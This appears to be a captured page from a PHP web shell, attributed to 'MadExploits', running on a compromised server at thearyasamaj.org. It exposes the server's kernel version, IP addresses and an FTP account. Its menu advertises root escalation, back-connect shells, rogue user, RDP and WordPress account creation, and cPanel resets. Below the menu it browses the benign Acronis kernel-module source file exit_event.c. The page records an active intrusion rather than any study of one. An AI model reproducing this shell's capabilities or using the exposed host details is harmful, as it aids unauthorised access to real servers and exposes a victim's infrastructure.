Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
file_protector-1.1-1553 /
transport /
[ HOME SHELL ]
Name
Size
Permission
Action
device.c
1.2
KB
-rw-r--r--
device.h
257
B
-rw-r--r--
exec_event.c
7.13
KB
-rw-r--r--
exec_event.h
391
B
-rw-r--r--
exit_event.c
1.57
KB
-rw-r--r--
exit_event.h
291
B
-rw-r--r--
fork_event.c
8.61
KB
-rw-r--r--
fork_event.h
360
B
-rw-r--r--
fs_event.c
26.92
KB
-rw-r--r--
fs_event.h
2.43
KB
-rw-r--r--
message.c
19.66
KB
-rw-r--r--
message.h
4.03
KB
-rw-r--r--
ring.h
2.29
KB
-rw-r--r--
set.h
1.86
KB
-rw-r--r--
subtype.h
1.06
KB
-rw-r--r--
thread_safe_path.h
2.28
KB
-rw-r--r--
transport.c
61.56
KB
-rw-r--r--
transport.h
4.01
KB
-rw-r--r--
transport_id.h
1.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exit_event.c
/** @file @brief 'exit' event @details Copyright (c) 2017-2021 Acronis International GmbH @author Mikhail Krivtsov (mikhail.krivtsov@acronis.com) @since $Id: $ */ #include "exit_event.h" #include "debug.h" #include "message.h" #include "si_templates.h" #include "si_writer_common.h" #include "task_info_map.h" static const uint8_t k_exit_fields[] = { SI_COMMON_FIELDS, }; static void exit_event_with_alloc_flags(struct task_struct* tsk, bool nowait) { msg_t* msg; const uint32_t msg_size = SI_ESTIMATE_SIZE_CONST_PARAMS(k_exit_fields); pid_t pid = tsk->pid; pid_t tgid = tsk->tgid; uint64_t unique_pid = make_unique_pid(tsk); msg = msg_new_with_alloc_flags(FP_SI_OT_NOTIFY_PROCESS_EXIT, 0, SI_CT_POST_CALLBACK, unique_pid, msg_size, nowait); if (msg) { si_property_writer_t writer; task_info_t* task_info = task_info_lookup(tgid, unique_pid); uint64_t event_uid = transport_global_sequence_next(); si_event_writer_init(&writer, &msg->event, msg_size); si_property_writer_write_common(&writer, event_uid, pid, tgid, task_info); si_event_writer_finalize(&msg->event, &writer); if (task_info) { task_info_put(task_info); } send_msg_async(msg); msg_unref(msg); } // This is not a strong guarantee that all other threads has exited but // it is as close as kernel can provide to us. if (tgid == pid) task_info_map_on_exit_event(tsk); } void exit_event_nowait(struct task_struct* tsk) { return exit_event_with_alloc_flags(tsk, true /*nowait*/); } void exit_event(struct task_struct* tsk) { return exit_event_with_alloc_flags(tsk, false /*nowait*/); }
Close